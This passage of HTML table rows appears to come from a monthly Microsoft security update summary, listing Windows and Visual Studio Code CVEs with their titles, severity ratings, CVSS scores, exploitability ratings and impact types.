 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
